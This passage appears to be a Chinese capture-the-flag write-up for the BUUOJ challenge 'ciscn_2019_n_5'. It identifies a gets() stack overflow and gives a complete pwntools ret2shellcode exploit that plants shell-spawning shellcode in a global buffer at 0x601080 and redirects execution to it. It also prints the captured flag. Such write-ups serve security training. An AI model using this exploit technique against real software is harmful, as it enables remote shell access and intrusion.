setvbuf(stdout, 0LL, 2, 0LL); puts("tell me your name"); read(0, name, 0x64uLL); puts("wow~ nice name!"); puts("What do you want to say to me?"); gets((__int64)text); return0; }
如果是 ret2shellcode 的话,可以把 ShellCode 弄到 name 里面,然后在 gets() 函数中造成栈溢出,让程序能跑到 name 的位置上
经过查找,发现 name 的位置在 0x601080
编写 Exp
from pwn import * context.binary = ELF("./ciscn_2019_n_5")
io = remote("node4.buuoj.cn", 26536) shellcode = asm(shellcraft.sh()) name_addr = 0x601080 io.recvuntil(b"tell me your name\n") io.sendline(shellcode) payload = b"a"*(0x20+0x8)+pack(name_addr, 64) io.recvuntil(b"What do you want to say to me?\n") io.sendline(payload) io.interactive()
运行过后使用 cat flag,获得 Flag 为 flag{88d7f7c4-dfe4-4ed5-8e06-c300f1013ae2}